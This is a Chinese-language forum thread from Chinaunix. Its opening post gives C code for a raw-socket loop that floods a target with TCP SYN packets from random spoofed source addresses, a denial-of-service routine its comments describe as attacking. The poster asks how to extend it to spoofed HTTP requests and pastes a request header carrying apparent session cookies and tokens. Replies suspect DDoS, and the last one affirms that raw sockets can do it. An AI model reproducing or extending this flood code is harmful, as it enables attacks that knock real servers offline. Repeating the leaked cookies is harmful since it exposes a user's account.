免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
123下一页
最近访问板块 发新帖
查看: 17020 | 回复: 26
打印 上一主题 下一主题

发送http协议包并且伪装ip问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-03-20 11:25 |只看该作者 |倒序浏览
  1. void send_tcp(int sockfd,struct sockaddr_in *addr){        
  2. char buffer[100]; /**** 用来放置我们的数据包 ****/        
  3. struct ip *ip;        
  4. struct tcphdr *tcp;        
  5. int head_len;        
  6. /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/      
  7. head_len=sizeof(struct ip)+sizeof(struct tcphdr);        
  8. bzero(buffer,100);        /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/        
  9. ip=(struct ip *)buffer;        
  10. ip->ip_v=IPVERSION; /** 版本一般的是 4 **/        
  11. ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/        
  12. ip->ip_tos=0; /** 服务类型 **/        
  13. ip->ip_len=htons(head_len); /** IP数据包的长度 **/      
  14. ip->ip_id=0; /** 让系统去填写吧 **/        
  15. ip->ip_off=0; /** 和上面一样,省点时间 **/        
  16. ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/        
  17. ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/      
  18. ip->ip_sum=0; /** 校验和让系统去做 **/        
  19. ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/        
  20. /******* 开始填写TCP数据包 *****/        
  21. tcp=(struct tcphdr *)(buffer +sizeof(struct ip));      
  22. tcp->source=htons(LOCALPORT);        
  23. tcp->dest=addr->sin_port; /** 目的端口 **/        
  24. tcp->seq=random();        
  25. tcp->ack_seq=0;        
  26. tcp->doff=5;        
  27. tcp->syn=1; /** 我要建立连接 **/        
  28. tcp->check=0;        /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/        
  29. while(1)         
  30. {               
  31. /** 你不知道我是从那里来的,慢慢的去等吧! **/               
  32. ip->ip_src.s_addr=random();               
  33. /**什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */               
  34. /** 下面这条可有可无 */               
  35. tcp->check=check_sum((unsigned short *)tcp,                                
  36. sizeof(struct tcphdr));               
  37. sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));         
  38. }}
复制代码


上面用的ip->ip_src.s_addr=random();来随机自己的ip;

下面是我想请教大家的:这个程序能发tcp连接包,能不构建个包是应用层的;像http协议;
能把类似的东西:
GET / HTTP/1.1
Host:www.chinaunix.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1;zh-CN; rv:1.9.0.7) Gecko/2009021910Firefox/3.0.7
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-cn,zhq=0.5
Accept-Encoding: gzip,deflate
Accept-Charset:gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection:
keep-aliveCookie:vjuids=aeda399c.11fee017b16.0.1540f5a6e1e048;vjlast=1236648688,1237515744,11;sso_token=b5d2fdd282934e3d603fe212422d698e48060065;sso_cookietime=2592000;l967f56ca6=Ylyc1e3WX72ClwpqvyaX5jmmtg0khbVx28rnzIL6vFQ; cu_sid=E764cd;cu_visitedfid=23D8D4D24D5D18D6D7; ystat_bc_451549=17005920422404483544;cu_auth=UWxGgIHAz%2BfzgGP6oc0VaWP4cuXngyYd5x7zUx9yc%2BNevvEeR3oZ1nhHUKxDYE2gRj0;cu_oldtopics=D1402471D1400608D; cu_fid23=1237516323


发送出去,但是要保留随机自己的ip的功能,不要告诉我用sockfd=socket(AF_INET,SOCK_stream,0)这个自己IP随机不了吧???

[ 本帖最后由 hh9net 于 2009-3-20 16:38 编辑 ]

论坛徽章:
0
2 [报告]
发表于 2009-03-20 11:29 |只看该作者
格式真乱

论坛徽章:
1
天蝎座
日期:2013-08-25 10:27:22
3 [报告]
发表于 2009-03-20 11:29 |只看该作者
哎呀妈呀,,乍一看还以为是乱码捏。。

论坛徽章:
0
4 [报告]
发表于 2009-03-20 11:38 |只看该作者
楼主不是来问问题的吧,更像是折磨人啊

论坛徽章:
0
5 [报告]
发表于 2009-03-20 11:44 |只看该作者
格式整理了

论坛徽章:
95
程序设计版块每日发帖之星
日期:2015-09-05 06:20:00程序设计版块每日发帖之星
日期:2015-09-17 06:20:00程序设计版块每日发帖之星
日期:2015-09-18 06:20:002015亚冠之阿尔艾因
日期:2015-09-18 10:35:08月度论坛发贴之星
日期:2015-09-30 22:25:002015亚冠之阿尔沙巴布
日期:2015-10-03 08:57:39程序设计版块每日发帖之星
日期:2015-10-05 06:20:00每日论坛发贴之星
日期:2015-10-05 06:20:002015年亚冠纪念徽章
日期:2015-10-06 10:06:482015亚冠之塔什干棉农
日期:2015-10-19 19:43:35程序设计版块每日发帖之星
日期:2015-10-21 06:20:00每日论坛发贴之星
日期:2015-09-14 06:20:00
6 [报告]
发表于 2009-03-20 12:08 |只看该作者
原帖由 hh9net 于 2009-3-20 11:44 发表
格式整理了

顺便把你的标题也整理下。

论坛徽章:
0
7 [报告]
发表于 2009-03-20 12:11 |只看该作者
IP随机了,数据包怎么回来呢?
你该不会是想做IP欺骗或者什么攻击吧?

论坛徽章:
0
8 [报告]
发表于 2009-03-20 12:40 |只看该作者
原帖由 alexhappy 于 2009-3-20 12:11 发表
IP随机了,数据包怎么回来呢?
你该不会是想做IP欺骗或者什么攻击吧?


简直是 99.9999999% 的可能性,典型的ddos攻击........

论坛徽章:
0
9 [报告]
发表于 2009-03-20 12:47 |只看该作者
我不是去攻击,只是想了解这方面的知识,大家知道的麻烦说说么

论坛徽章:
0
10 [报告]
发表于 2009-03-20 13:03 |只看该作者
问问题,态度很重要。
>>不要告诉我用sockfd=socket(AF_INET,SOCK_stream,0)这个自己IP随机不了吧???

这样的话最好不要出现。

其实呢。RAW SOCKET完全能满足需求。自己往里面填IP地址呗。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP